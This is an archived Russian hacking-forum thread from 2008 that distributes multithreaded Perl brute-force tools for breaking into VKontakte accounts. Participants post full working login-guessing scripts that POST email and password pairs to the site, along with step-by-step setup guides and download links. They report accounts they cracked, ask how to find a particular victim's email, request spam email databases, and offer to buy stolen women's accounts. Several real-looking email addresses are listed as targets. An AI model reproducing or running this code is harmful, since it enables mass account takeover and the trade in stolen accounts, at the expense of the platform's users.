PDA

Просмотр полной версии : Многопоточный брутер vkontakte


Kaimi
09.05.2008, 23:12
Многопоточный брутер вконтакте

Написан на перле, брутит заданным паролем по диапазону мыл.
Для работы необходим ActivePerl.

Синтаксис:
script.pl потоки пароль список_мыл


Скачать:
http://rapidshare.com/files/113740335/vkont.pl
http://stream.ifolder.ru/6493517

Для одноклассников:

http://rapidshare.com/files/115597614/odn.pl

ZAMUT
10.05.2008, 01:33
https://forum.antichat.org/thread60546.htmlКак бы вот так вот. . И по-моему, он уже не актуален, тк идет блок по ip.

Kaimi
10.05.2008, 01:34
Как бы там брут одиночного аккаунта. Блока по ip нет вообще то

d_x
10.05.2008, 01:42
Хороший брутер, быстрый, нормально работает.

vp$
10.05.2008, 01:52
быстрый, это сколько? 100 ппс реально выжать?

Kaimi
10.05.2008, 02:11
Реально, если поставить побольше потоков

InfernoNet
10.05.2008, 03:46
А как узнать по ID e-mail жертвы?
Поиском пользовался и даже гуглил. Может конечно и плохо искал, но всё-таки подскажите.

LEE_ROY
10.05.2008, 04:31
А как узнать по ID e-mail жертвы?
Поиском пользовался и даже гуглил. Может конечно и плохо искал, но всё-таки подскажите.
плюс адын :)

d_x
10.05.2008, 08:22
Берертся некоторый абстрактный список e-mail'ов, не обязательно относящийся к ВКонтакте, например, с рамблера или mail.ru. Ну и аккаунты с какими-нибудь адресами из этого списка наверяка зарегистрированы ВКонтакте. Я брал вообще список из нескольких тысяч двухлетней давности - и там нашлись несколько десятков акков с паролем qwerty:)

M1ks
10.05.2008, 11:56
нормальный брут =)

AnticraZY
10.05.2008, 12:09
Куда его кидать что то понять не могу в папку cgi ??

Kaimi
10.05.2008, 12:55
Это под коммандную строку, если на сервере, то можешь через system или exec попробовать

InfernoNet
10.05.2008, 15:24
d_x, ну это конечно рандом....
А если есть конкретная жертва?

MaTpOc
10.05.2008, 15:36
Народ, помогите мне с этим всем разобраться, как мне взломать какой нить акк в контакте???

d_x
10.05.2008, 16:00
Для конкретных жертв этот брутер не подходит)

InfernoNet
10.05.2008, 16:39
Для конкретных жертв этот брутер не подходит)
Будем считать, я юзаю не только этот брутер.
Так как узнать мэйл жертвы?

InfernoNet
10.05.2008, 16:53
Народ, помогите мне с этим всем разобраться, как мне взломать какой нить акк в контакте???
Для незнающих:
1. Качаем ActivPerl (http://letitbit.net/download/117d79597282/ActivePerl-5.10.0.1002-MSWin32-x86-283697.msi.html)
2. Качаем скрипт.
3. Создаем два текстовых файлов с названием: good.txt и emails.txt. В файле good.txt будут записаны те аккаунты к которым подходит пароль который ты укажешь ниже.
4. В файле emails.txt вписываем те e-mail-аккаунты которые ты хочешь взломать.
5. Открываем скрипт и изменяем пароль в строке ("pass" - это пароль):
$pass = shift || 'pass' ; #pwd
6. Сохраняем всё, запускаем скрипт и ждем. :)

Данный скрипт подбирает один пароль для любого кол-во аккаунтов.

genom--
10.05.2008, 17:30
А как узнать по ID e-mail жертвы?
Поиском пользовался и даже гуглил. Может конечно и плохо искал, но всё-таки подскажите.

а спросить у жертвы не пробывали? =)

MaTpOc
10.05.2008, 21:14
Для незнающих:
1. Качаем ActivPerl (http://letitbit.net/download/117d79597282/ActivePerl-5.10.0.1002-MSWin32-x86-283697.msi.html)
2. Качаем скрипт.
3. Создаем два текстовых файлов с названием: good.txt и emails.txt. В файле good.txt будут записаны те аккаунты к которым подходит пароль который ты укажешь ниже.
4. В файле emails.txt вписываем те e-mail-аккаунты которые ты хочешь взломать.
5. Открываем скрипт и изменяем пароль в строке ("pass" - это пароль):
$pass = shift || 'pass' ; #pwd
6. Сохраняем всё, запускаем скрипт и ждем. :)

Данный скрипт подбирает один пароль для любого кол-во аккаунтов.

спс, залей плиз 1 пункт на деппозитфайлс, а номер 2 где качать???

InfernoNet
10.05.2008, 21:41
спс, залей плиз 1 пункт на деппозитфайлс, а номер 2 где качать???
1. ActivPerl (http://depositfiles.com/ru/files/5269809)
2. Скрипт (http://stream.ifolder.ru/6493517)

zer0ska
11.05.2008, 19:56
Как бы вот так вот. . И по-моему, он уже не актуален, тк идет блок по ip.

прикрутить поддержку прокси я думаю не составит труда.

MaTpOc
11.05.2008, 22:53
1. ActivPerl (http://depositfiles.com/ru/files/5269809)
2. Скрипт (http://stream.ifolder.ru/6493517)

Хм... я вроде сделал все правильно, но когда запускаю скрипт появляется окошко и ту же исчезает 0_о, что это значит???

InfernoNet
12.05.2008, 01:37
Хм... я вроде сделал все правильно, но когда запускаю скрипт появляется окошко и ту же исчезает 0_о, что это значит???
Список мыл создал?
Если нет, то создай файл "emails.txt" и впиши туда кучу мыл:gorodteney@rambler.ru
webcomputer@mail.ru
budda@mail.ru
barinrea@glasnet.ru

MaTpOc
12.05.2008, 15:24
Список мыл создал?
Если нет, то создай файл "emails.txt" и впиши туда кучу мыл:

Я вписал несколько мылов, но все равно када запскаю скрипт он грутится и тут же девается в никуда!Что это???

zythar
12.05.2008, 15:57
Для работы необходим ActivePerl.

а если у меня никсы и у меня не ActivePerl значит скрипт работать не будет, да?
написал скрипт написан на Перле этого было бы достаточно. на худой конец для особо одареных или для тех кто в танке мог бы написать что для работы скрипта нужен перл.

geezer.code
12.05.2008, 17:05
Я вписал несколько мылов, но все равно када запскаю скрипт он грутится и тут же девается в никуда!Что это???
скрипт надо запускать из командной строки ...
то бишь сначала win+R ->набиваешь туда cmd жмешь ентер
заходишь команодой cd в папку где лежит скрипт . потом запускаешь его ))) читаешь репорт, а потом проверяешь файло ))
воть.
зы
2 zythar если у тя никсы... то ты как минимум ужо не в танке ))

InfernoNet
12.05.2008, 17:23
zythar, не все всё знают. По этому я считаю нужно объяснить. Нужно помогать людям, а не гнать на них или игнорить. Если знаешь - помоги.

geezer.code, ну я лично запускаю не из cmd.

MaTpOc, держи архив с настроенным брутером (http://letitbit.net/download/371022749378/vkontakte.ru.rar.html).

MaTpOc
12.05.2008, 21:44
zythar

MaTpOc, держи архив с настроенным брутером (http://letitbit.net/download/371022749378/vkontakte.ru.rar.html).

Перезалей плиз на Depositfiles.com, заранее спс.

MaTpOc
12.05.2008, 21:47
скрипт надо запускать из командной строки ...
то бишь сначала win+R ->набиваешь туда cmd жмешь ентер
заходишь команодой cd в папку где лежит скрипт . потом запускаешь его ))) читаешь репорт, а потом проверяешь файло ))
воть.
зы
2 zythar если у тя никсы... то ты как минимум ужо не в танке ))

Раскажи поподробней плиз, как зайти в командную стороку понял, а как дальше ваще не понимаю =(!?...

Sleep
12.05.2008, 22:18
http://rapidshare.com/files/114417998/start.bat.html
Скачиваеш. копируещ в папку со скриптом vkont.pl
после щёлкаеш два раза левой кнопкой мыши по файлу start
вылазиит окно в ней пишеш perl vkont.pl 80(Число потоков) qwerty(пароль на который будеш брутить) listEmail.txt(файл в котором находятся списики мыл)
всё потом жмёш Enter ;)

MaTpOc
12.05.2008, 22:39
http://rapidshare.com/files/114417998/start.bat.html
Скачиваеш. копируещ в папку со скриптом vkont.pl
после щёлкаеш два раза левой кнопкой мыши по файлу start
вылазиит окно в ней пишеш perl vkont.pl 80(Число потоков) qwerty(пароль на который будеш брутить) listEmail.txt(файл в котором находятся списики мыл)
всё потом жмёш Enter ;)

Када нажал на ентер вылезло вот это- Could not open mail list file! at vkont.pl line 18. что это???

MaTpOc
12.05.2008, 22:40
вот это писал если что perl vkont.pl 80 qwerty 6567947 email.txt

Sleep
12.05.2008, 22:45
не может открыть файл email.txt
в котором должен находится список емейл адресов
а вобще perl vkont.pl 80 qwerty 6567947 (ето что ?)email.txt

Kaimi
12.05.2008, 22:50
Попробуй положить файл с мылами в C:\Documents and Settings\Текущий_пользователь

MaTpOc
12.05.2008, 23:18
не может открыть файл email.txt
в котором должен находится список емейл адресов
а вобще perl vkont.pl 80 qwerty 6567947 (ето что ?)email.txt

6567947-это пароль...

InfernoNet
12.05.2008, 23:40
Кинь номер своей аси мне в Pm, я тебе напишу и расскажу что и как.

Foxtrot1
17.05.2008, 11:54
брутер еще актуален? если да то дерзайте вперед ... скупать буду аки vkontakte, лавпланет , мамба (приватные и валидные + чтоб токо мне продавались) только женские... нужны всегда в больших количествах - у кого есть стучать в аську куплю все)

Vid0k
17.05.2008, 12:45
хороший брутер быстро работает+++

Vid0k
17.05.2008, 12:56
примерно где то после ~25 000 наступает бан:(

MaTpOc
17.05.2008, 13:27
примерно где то после ~25 000 наступает бан:(
0_j что за бан???

Vid0k
17.05.2008, 14:19
вот такой вот бан на пол часа не мог даже проверить акки на валид
с 25 000 мыл снял около 30 акков с пассом 1234567
вот так вот =)
бывают же такие люди

DDoSька
17.05.2008, 23:35
Выложите плиз спам базу пабликовскую(yandex,rambler,pochta) Заранее благодарен
ЗЫ: сколь потово ставить на канале в 1mbit?

Vid0k
20.05.2008, 23:05
потоков 30 хватит

diehard
20.05.2008, 23:29
Вылетает через пару минут работы

blood-looney
21.05.2008, 21:52
ну не пару минут конечно :)
но вылетает тоже... спустя 1-2 часа

Kaimi
21.05.2008, 23:30
Контакт соединение рвет наверное

blood-looney
22.05.2008, 02:38
cкорей всего....вот бы прокси ещё меняющуюся автоматически предусмотреть

mrTUZ
29.05.2008, 20:45
Я так и не понял, как узнать пороль пользователя vkontakte.ru...
Можете объяснить? Кто реально может помочь, скину мой номер ICQ в ПМ:)

AXE™
29.05.2008, 21:13
У меня не получается....
Что эт о может быть...? все вроде норм...
ОС : Виста
Перл : ActivePerl 5.10.0.1001

Скрин----------

http://imageshost.ru/img4/46d1d28ff063c42e8c3a1cfd4e471513/b6b09f5c16e813482fb2cffd0db9613a.jpg (http://imageshost.ru/)

InfernoNet
30.05.2008, 00:21
Видео для тех кто только начинает познавать :)
http://letitbit.net/download/f83cb859951/brut.avi.html

k0lbasa
30.05.2008, 00:35
перезалей и заархивируй pls

InfernoNet
30.05.2008, 00:48
http://webfile.ru/1984027

mrTUZ
30.05.2008, 19:01
Видео для тех кто только начинает познавать :)
http://letitbit.net/download/f83cb859951/brut.avi.html
Ща скачаю:) Спасибо

mrTUZ
30.05.2008, 19:23
Там желтая строка мешает!:(

InfernoNet
30.05.2008, 20:37
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

КОМУ НЕ ПОНЯТНО И НЕ ПОЛУЧАЕТСЯ НАСТРОИТЬ БРУТ, ПИШИТЕ СВОИ НОМЕРА Icq КО МНЕ В Pm!

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

GrAmOzEkA
30.05.2008, 20:59
Собсно нашел еще один брутер контакта специально для тех у кого с perl проблемы.
http://up.li.ru/files/2008/05/30/360246.jpg

Поддерживает:
1)Полный перебор
2)Перебор по словарю
3)Перебор по словарю mail;pass

Проверка на virustotal.com:


http://www.virustotal.com/ru/analisis/2c1a233869864a710ae3096edcf2e40e
Антивирус Версия Обновление Результат
AhnLab-V3 2008.5.30.1 2008.05.30 -
AntiVir 7.8.0.25 2008.05.30 -
Authentium 5.1.0.4 2008.05.29 -
Avast 4.8.1195.0 2008.05.30 -
AVG 7.5.0.516 2008.05.30 -
BitDefender 7.2 2008.05.30 -
CAT-QuickHeal 9.50 2008.05.30 -
ClamAV 0.92.1 2008.05.30 -
DrWeb 4.44.0.09170 2008.05.30 -
eSafe 7.0.15.0 2008.05.29 -
eTrust-Vet 31.4.5835 2008.05.30 -
Ewido 4.0 2008.05.30 -
F-Prot 4.4.4.56 2008.05.29 -
F-Secure 6.70.13260.0 2008.05.30 -
Fortinet 3.14.0.0 2008.05.30 -
GData 2.0.7306.1023 2008.05.30 -
Ikarus T3.1.1.26.0 2008.05.30 -
Kaspersky 7.0.0.125 2008.05.30 -
McAfee 5307 2008.05.30 -
Microsoft 1.3520 2008.05.30 -
NOD32v2 3148 2008.05.30 -
Norman 5.80.02 2008.05.29 -
Panda 9.0.0.4 2008.05.30 -
Prevx1 V2 2008.05.30 -
Rising 20.46.42.00 2008.05.30 -
Sophos 4.29.0 2008.05.30 -
Sunbelt 3.0.1139.1 2008.05.29 -
Symantec 10 2008.05.30 -
TheHacker 6.2.92.325 2008.05.30 -
VBA32 3.12.6.6 2008.05.30 -
VirusBuster 4.3.26:9 2008.05.30 -
Webwasher-Gateway 6.6.2 2008.05.30 -
Дополнительная информация
File size: 114176 bytes
MD5...: 5e63b956afe4b10c17b02ad9af544c59
SHA1..: 0334002001234a7fcd185335ae2fe32c8c3c9a93
SHA256: 341f151985c76549971d77316706a1d84a635bf1d3ad13636b fde4a6db168b59
SHA512: 00280f0abeb043f02148a5c15358fec973f3ac205a0a4b2ff3 820ff24cd0a3cb
714af6292fad0ec5c09bcb5adbd289639c501f5fa2516959b4 ff10b2668914d1
PEiD..: -
PEInfo: PE Structure information

( base data )
entrypointaddress.: 0x41cece
timedatestamp.....: 0x47d5ae67 (Mon Mar 10 21:55:51 2008)
machinetype.......: 0x14c (I386)

( 3 sections )
name viradd virsiz rawdsiz ntrpy md5
.text 0x2000 0x1aed4 0x1b000 7.32 8e8c79fded7195eaec6ba92b923e4111
.rsrc 0x1e000 0x950 0xa00 5.08 9460fa0eeee50c7355db5552f4e93139
.reloc 0x20000 0xc 0x200 0.10 f4fc83ae70bcad15612976928ad7bdea

( 1 imports )
> mscoree.dll: _CorExeMain

( 0 exports )



Скачать (http://slil.ru/25848534)

з.ы. по моему это надо было в софт переместить :rolleyes:

mrTUZ
31.05.2008, 13:28
Скачать (http://slil.ru/25848534)

з.ы. по моему это надо было в софт переместить :rolleyes:

Не могу открыть то что ты залил.

GrAmOzEkA
31.05.2008, 13:44
его не надо открыть, просто запускай у меня все работает.

mrTUZ
31.05.2008, 14:11
Не запускается:(

У кого-нибудь работает?

brasco2k
31.05.2008, 14:15
Не запускается:(

У кого-нибудь работает?
У меня работает. OS VISTA.


P.S у кого проблемы со слилом, перезалил:

http://webfile.ru/1987911

InfernoNet
31.05.2008, 15:30
Не запускается:(

У кого-нибудь работает?
Покажи что пишет.

mrTUZ
31.05.2008, 16:52
Покажи что пишет.
Я не могу прикреплять файлы:(

To run this applikation, you first must instal one of the following version of the. NET Framework: v2.0.50727
Contact your applikation publisher for instruktions about obtaining the appropriate version of the. NET Framework.

InfernoNet
31.05.2008, 19:48
Загрузи на бесплатный хостинг с картинками: http://www.imagebar.net/

mentalfuck
01.06.2008, 19:13
Всё отлично работает

k0lbasa
01.06.2008, 19:22
GrAmOzEkA
не запускается
http://ipicture.ru/uploads/080601/D2FNVAbGIt.png (http://ipicture.ru/)

MegaEGG
01.06.2008, 22:30
УХ блин биг РЕСПЕКТ
начинаю брутить гдето 2 мин прошло я залазию в списог Good ..а там полно Мыло;пасс
я подумал всё в подрят туда идет проверил 1 акк подошло я аш ахринел
ВСЕ ОТЛИЧНО РАБОТАЕТ))

Fak1r
02.06.2008, 02:00
Вот еще один брутер вконтакте, подгружается список мыл и список паролей.

#! /usr/bin/perl -w
use strict;
use HTTP::Request::Common;
use LWP::UserAgent;
use HTTP::Cookies;

#Список email
my $ml = 'emails.txt';
#Сбрученные аккаунты
my $fname = 'good.txt';
#Несбрученные аккаунты
my $fname1 = 'bad.txt';
#список паролей
my $psw = 'pass.txt';
my $control = '-1';
my %example;
my (@data, @data1);


printf "Starting...\n";



sub submit_query {
my ($file, %query) = @_;
my $user_agent = LWP::UserAgent->new();
my $cookies = HTTP::Cookies->new;
my $cookie_jar = HTTP::Cookies->new(
file => 'cookies.dat',
autosave => 1, );
$user_agent->cookie_jar($cookie_jar);
################################################## ##############
$user_agent->agent("User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.8;" . $user_agent->agent);
################################################## ##############

my $request = POST
$file,
[%query];

################################################## ##############
my $response = $user_agent->request($request);
my $res = $response->as_string;
################################################## ##############

if($res =~/<div id='error'>/ )
{
print FILE1 "[!]Wrong password: ";
$control = '0';

}
else
{

my $req = HTTP::Request->new(GET => "http://vkontakte.ru/profile.php");
my $response2 = $user_agent->request($req);
my $res2 = $response2->as_string;

if($res2 =~/id="percent">(.*)%</)
{
print FILE "[rate=$1]";
}
if($res2 =~/percentGold">(.*)</)
{
print FILE "[gold_rate=$1]";
}
$req = HTTP::Request->new(GET => "http://vkontakte.ru/settings.php");
$response2 = $user_agent->request($req);
$res2 = $response2->as_string;
if($res2 =~/контакте: <b>(.*)</) {print FILE "[id=$1]";}
if($res2 =~/"idr" value="(.*)"/) {print FILE "[sid=$1]";}

$control = '1';

}

}


open(DAT, $ml) || die("Could not open emails file!");
@data=<DAT>;
close(DAT);

open(DAT1, $psw) || die("Could not open passwords file!");
@data1=<DAT1>;
close(DAT1);


my $time = time;
my $start = localtime;
printf "Vkontakte brutforoce\n";
printf "Started at $start\n";

foreach my $mail (@data)
{
chomp($mail);
foreach my $password (@data1)
{
chomp($password);
%example = (success_url => '', fail_url => '', try_to_login => '1', email => $mail, pass => $password);

open(FILE, ">>$fname") || die("Could not open $fname\n");
open(FILE1, ">>$fname1") || die("Could not open $fname1\n");
submit_query("http://vkontakte.ru/login.php", %example);

if ($control == '1')
{
print FILE "$mail : $password\n";
}
else
{
print FILE1 "$mail : $password\n";
}

close FILE;
close FILE1;
}
}
$time = time-$time;
my $end = localtime;
printf "Completed at $end\n";
printf "Time Elapsed: $time sec\n";

InfernoNet
02.06.2008, 08:06
GrAmOzEkA
не запускается
http://ipicture.ru/uploads/080601/D2FNVAbGIt.png (http://ipicture.ru/)
Антивирус отруби. Не просто выруби, а сам модуль отруби.

myp3zz
03.06.2008, 20:39
тоже не работает =\
http://www.imagebar.net/out.php/i21602_error.JPG

Hexillion
06.06.2008, 16:52
все пашет!

SUBJECT617
06.06.2008, 17:28
Хмм... Точно нет ограничений на размер базы мыл? У меня нивкакую не хочет запуститься =( Мож из-за того что 46 Мб список?

Kaimi
06.06.2008, 17:29
46 метров, у тебя при загрузке комп не лагает? Он же в память базу грузит

SUBJECT617
06.06.2008, 17:31
Хмм...Немного есть.. Но это оттого что у меня 20 прог грузятся разоб и Др. Веб еще чекать начинает.

Мне укоротить список?

Kaimi
06.06.2008, 17:36
Разбей на файлы метров по 10

SUBJECT617
06.06.2008, 17:42
Ужас... Грузится долго, разбил по 11м, 18м, и 20 с лишним (Отобразилось как 0кб)... 11метровый не попер... Щас впишу одно мыло, проверю =)

Вот блин... Недумал что у меня также будет. Все еще не может открыть даже с одним мылом моим =(

Вот как запускаю (мож ошибся?)

1: C:\Perl\bin\Perl.exe C:\Perl\Brute\vkont.pl

2: C:\bla-bla\Perl.exe bla-bla\vkont.pl 50 password emails.txt

Список мыл и good.txt лежат в папке со скриптом, в скрипте пытался менять, ничего не выходит.

Kaimi
06.06.2008, 18:03
Вроде нормально запускаешь, он у тебя Loaded .... выводит?

SUBJECT617
06.06.2008, 18:19
Ага... И не может запустить базу мыл бла бла бла на строчке 18

Kaimi
06.06.2008, 18:26
А если скрипт и базу положить в C:\Documents and Settings\User
?

Slipsaa
07.06.2008, 00:37
у мну вроде норм пашет брутер ... Зачот автору!

InfernoNet
07.06.2008, 00:43
Да я вроде даже видео сделал, с примитивным описанием.
Что так сложно посмотреть его?
Ни чего сложного не вижу.

SUBJECT617
07.06.2008, 11:31
Да мы уже разобрались... ПРосто emails.txt и good.txt у меня должны были лежать в корне диска C

AlexV
08.06.2008, 17:47
РЕБЯТ, у меня тоже проблема, открывается - а потом закрывается! ActivePerl - установлен, Она считывает число мейлов, а потом закрывается... Что это такое и как быть!? Ложил и в корень диска С!

Прописан он у меня вот так:
Единственное - хочу сказать - я подключен к нету через прокси сервер, т.е. чтобы выйти в инет, мне нужно в настройках браузера прописывать 177.177.1.199 порт 8080


Эти настройки я прописал в
PeerAddr => 177.177.1.199,
PeerPort => 8080,

Вот вообще код, подскажите - в чем проблема!?


#! /usr/bin/perl -w
use IO::Socket;
use threads;
use threads::shared;

$threads = shift || 5 ; #Кол-во потоков
$pass = shift || 1234567 ; #pwd
$fname = 'good.txt' ; #Валидные
$ml = shift || 'emails.txt' ; #Список мыл

my @acc : shared;
my $i : shared;
my $total : shared;
$| =1;

print "Loading...\n";

open (ACS, "<$ml") || die("Could not open mail list file!");
@acc = acc();

$size = scalar @acc;
$time = time;
$start = localtime;
print "Loaded: ",$size," emails.\n";
printf "Started at $start\n";

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{
while(@acc)
{
{lock(@acc);$acc = shift @acc;}
my $sock = new IO::Socket::INET
(
PeerAddr => 177.177.1.199,
PeerPort => 8080,
PeerProto => 'tcp',
TimeOut => 20
) or die "Can't connect\n";

my $data = "email=$acc&pass=$pass";
my $len = length($data);
my $re = "POST /login.php HTTP/1.1\nHost: vkontakte.ru\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0b1; Windows NT 5.1; SV1; .NET CLR 1.1.4322; MS IdentiServ 1.4.12)\nKeep-Alive: 300\n".
"Connection: keep-alive\nReferer: http://vkontakte.ru\n".
"Content-Type: application/x-www-form-urlencoded\n".
"Content-Length: $len\n\n$data";

print $sock $re;
sysread ($sock, my $answ, 800);

if($answ =~ /\S{32}/)
{
{lock($total); $total++;}
print "[+] $acc\n";
open(FILE, ">>$fname") || die("Could not open $fname\n");
print FILE "$acc : $pass\n";
close(FILE);
}
{lock($i);$i++;}
$percent = ($i/$size)*100;
progress();

}


}


$time = time-$time;
$end = localtime;
printf "Finished at $end\n";
printf "Time elapsed: $time sec\n";
printf "Finded: $total \n";

sub progress{

print "|";
$percent = sprintf("%.2f", $percent);
print "< $percent% > complete";
print "\r";
}

sub acc
{
my (@mas);
while (<ACS>){
push @mas, $_;
}
chomp @mas;
return @mas;
}

#(c)Kaimi

AlexV
08.06.2008, 18:05
Вот скрин:
http://i45.servimg.com/u/f45/12/45/72/00/aacuiy10.png

Насколько я понимаю - вся проблема - в том, что он не может подключиться... Хотя настройки и порт указаны правильно! Если это может чем помочь - авторизация проходит через user gate. Авторизация идет исключительно по ип, без дополнительных окон. Но можно сделать и авторизацию по логину и паролю... Кто что может подсказать по этому моменту!? Или есть другой брутер работающий через прокси!?

AlexV
09.06.2008, 12:47
Такс, значит никто не знает как решить этот вопрос!? А есть брутер - который с фтп можно запустить на хосте!?

X-Venom
09.06.2008, 14:39
У меня знач такая трабла:
Запускаю брут,он щатает колво мыл,потом показывает скока % мыл пробручено а потом выдает такую ошибку
http://i016.radikal.ru/0806/a2/fb331c2633be.jpg (http://www.radikal.ru)

http://i023.radikal.ru/0806/d3/0e46511ad89c.jpg (http://www.radikal.ru)
Ось виста,в параметрах UAC добавил брут в довереную зону

xaklip
09.06.2008, 19:32
РЕБЯТ, у меня тоже проблема, открывается - а потом закрывается! ActivePerl - установлен, Она считывает число мейлов, а потом закрывается... Что это такое и как быть!? Ложил и в корень диска С!

Прописан он у меня вот так:
Единственное - хочу сказать - я подключен к нету через прокси сервер, т.е. чтобы выйти в инет, мне нужно в настройках браузера прописывать 177.177.1.199 порт 8080


Эти настройки я прописал в


Вот вообще код, подскажите - в чем проблема!?


#! /usr/bin/perl -w
use IO::Socket;
use threads;
use threads::shared;

$threads = shift || 5 ; #Кол-во потоков
$pass = shift || 1234567 ; #pwd
$fname = 'good.txt' ; #Валидные
$ml = shift || 'emails.txt' ; #Список мыл

my @acc : shared;
my $i : shared;
my $total : shared;
$| =1;

print "Loading...\n";

open (ACS, "<$ml") || die("Could not open mail list file!");
@acc = acc();

$size = scalar @acc;
$time = time;
$start = localtime;
print "Loaded: ",$size," emails.\n";
printf "Started at $start\n";

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{
while(@acc)
{
{lock(@acc);$acc = shift @acc;}
my $sock = new IO::Socket::INET
(
PeerAddr => 177.177.1.199,
PeerPort => 8080,
PeerProto => 'tcp',
TimeOut => 20
) or die "Can't connect\n";

my $data = "email=$acc&pass=$pass";
my $len = length($data);
my $re = "POST /login.php HTTP/1.1\nHost: vkontakte.ru\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0b1; Windows NT 5.1; SV1; .NET CLR 1.1.4322; MS IdentiServ 1.4.12)\nKeep-Alive: 300\n".
"Connection: keep-alive\nReferer: http://vkontakte.ru\n".
"Content-Type: application/x-www-form-urlencoded\n".
"Content-Length: $len\n\n$data";

print $sock $re;
sysread ($sock, my $answ, 800);

if($answ =~ /\S{32}/)
{
{lock($total); $total++;}
print "[+] $acc\n";
open(FILE, ">>$fname") || die("Could not open $fname\n");
print FILE "$acc : $pass\n";
close(FILE);
}
{lock($i);$i++;}
$percent = ($i/$size)*100;
progress();

}


}


$time = time-$time;
$end = localtime;
printf "Finished at $end\n";
printf "Time elapsed: $time sec\n";
printf "Finded: $total \n";

sub progress{

print "|";
$percent = sprintf("%.2f", $percent);
print "< $percent% > complete";
print "\r";
}

sub acc
{
my (@mas);
while (<ACS>){
push @mas, $_;
}
chomp @mas;
return @mas;
}

#(c)Kaimi


Ты наверное забыл про кавычки( '123456') ;)

AlexV
10.06.2008, 09:19
Ты наверное забыл про кавычки( '123456')
Нет, я пробывал и с ковычками и без... Дело не в этом... Проблема именно с конектом по прокси.... :(

X-Venom
10.06.2008, 11:28
Он же работает без проксей
Попробуй хотя бы загрузить список мыл чуть поменьше,12к вполне норм

AlexV
10.06.2008, 12:13
Я и говорю - что я подключен к нету через прокси! Т.е. на одном компе - подключены 2 сетевухе - одна = инет, другаю наша локалка, все выходят в нет, через этот комп, на нем стоит user gate - и выпускает - по ип, либо по логину и паролю... Нужно как то переделать брут - чтобы поддерживал подключение к нету через прокси - вот в чем все дело...

oOoOoOo
11.06.2008, 16:27
А есть программа которая из списка вида mail делает mail: pas???
И ещё как запустить из cmd скрипт???

diehard
11.06.2008, 16:47
А есть программа которая из списка вида mail делает mail: pas???


Excel


И ещё как запустить из cmd скрипт???

php.exe script.php

oOoOoOo
11.06.2008, 16:59
Excel



php.exe script.php


Непонял, я прописываю c:\vkont.pl и он пишет типо ошибка открытия email.txt хотя в нём присутсвуют мыла и он находится в корне с

*DeViL*
11.06.2008, 19:40
Непонял, я прописываю c:\vkont.pl и он пишет типо ошибка открытия email.txt хотя в нём присутсвуют мыла и он находится в корне с
пуск>выполнить>cmd>cd c:\vkon.pl 1000 pass.txt emails.txt
1000 - потоки

у меня есть один вопросик, а как мона сделать чтобы сохраняло не в виде
[rate=56][id=******]****@mail.ru : 123456
а в виде ***@mail.ru : 123456
что надо в скрипте изменить?

AlexV
11.06.2008, 20:24
Ребят, а как насчет прокси брутера!? Сможет кто-нить замутить!?

*DeViL*
11.06.2008, 20:39
а чем тебя этот не устраивает? скорость норм...

oOoOoOo
12.06.2008, 14:55
Фигово что сохраняет в виде mail@mail.ru : pas
приходится дополнительно прогонять для удаления пробела.

oOoOoOo
12.06.2008, 15:49
Что надо замутить чтоб сохранял без пробелов?

dushq
12.06.2008, 15:50
=\
включить мозг + блокнот

-Onotole-
12.06.2008, 16:34
Скиньте базу мейл.ру посвежее плз (:
Заранее спс (:

AlexV
13.06.2008, 14:43
а чем тебя этот не устраивает? скорость норм...
Третий раз пишу - что я подключен и дома и на работе через прокси! А брутер через прокси не работает - а мне очень надо! Поэтому и прошу тех, кто разбирается помочь или написать многопоточный брутер поддерживающий прокси... :)

Foxtrot1
13.06.2008, 15:26
Третий раз пишу - что я подключен и дома и на работе через прокси! А брутер через прокси не работает - а мне очень надо! Поэтому и прошу тех, кто разбирается помочь или написать многопоточный брутер поддерживающий прокси... :)
заканчивай халявить бери дед и юзай спокойно)

сабж
аки vkontakte (приватные и валидные + чтоб токо мне продавались) только женские... нужны всегда в больших количествах - у кого есть стучать в аську скуплю все)

k0lbasa
15.06.2008, 13:12
зобанели, после того как на ночь поставил брутить.
придется через прокси на вконтакте лазить.
или че еще можно сделать?

Sharky
15.06.2008, 15:57
а можно прикрутить проксю? а то у меня ща инет через прокс тока а хотелось бы побрутить

Vid0k
15.06.2008, 15:58
2 k0lbasa
не сцы бан снимут меня тож банили день прошел и все норм

oOoOoOo
15.06.2008, 16:19
А у меня ip ДиНаМиЧеСкий )

AlexV
16.06.2008, 11:05
а можно прикрутить проксю?
Да, уважаемые брутеры - очень нужна поддержка прокси! Буду премного благодарен! :)

satana8920
16.06.2008, 11:08
сделай плизз что б он не всю базу сразу в память грузил а что б не много а то так никаких ресурсов не напасешся

Sharky
16.06.2008, 18:26
у всех норм пашет?

AlexV
16.06.2008, 18:58
у всех норм пашет?
Нет, у меня без прокси вообще не пашет!

n4e/\@
16.06.2008, 23:13
Пашет, но стали банить, база из 200000 мыл проверяет где то до одного процента и все.

TheSoul
17.06.2008, 02:05
Пашет.... 500к проверил, пока не забанили)

X-Venom
17.06.2008, 10:31
Меня пока не забанили,у меня база на 600к мыл я по 15к бручу на разные пароли по очереди и все гут=)

AlexV
17.06.2008, 10:57
Предложение: либо давайте создадим брут поддерживающий прокси, или кто-может поделиться акками на один пасс!? :)

Sharky
17.06.2008, 12:07
всё запахало...за ночь 1 500 000 прогнал...баниться даж не думало

Foxtrot1
17.06.2008, 22:43
аки vkontakte (приватные и валидные + чтоб токо мне продавались) нужны всегда в больших количествах - у кого есть стучать в аську куплю все)

oOoOoOo
17.06.2008, 22:45
всё запахало...за ночь 1 500 000 прогнал...баниться даж не думало

ааа

a1eX28
18.06.2008, 01:17
5 мб у меня брутятся 40+ часов..

AlexV
20.06.2008, 14:53
Ну что, кто-нить сделал работающий через прокси!?

svesve
20.06.2008, 14:56
а что мешает через сокскап запустить его?

biophreak
20.06.2008, 16:15
Видимо, религия ;)

AlexV
21.06.2008, 10:13
а что мешает через сокскап запустить его?
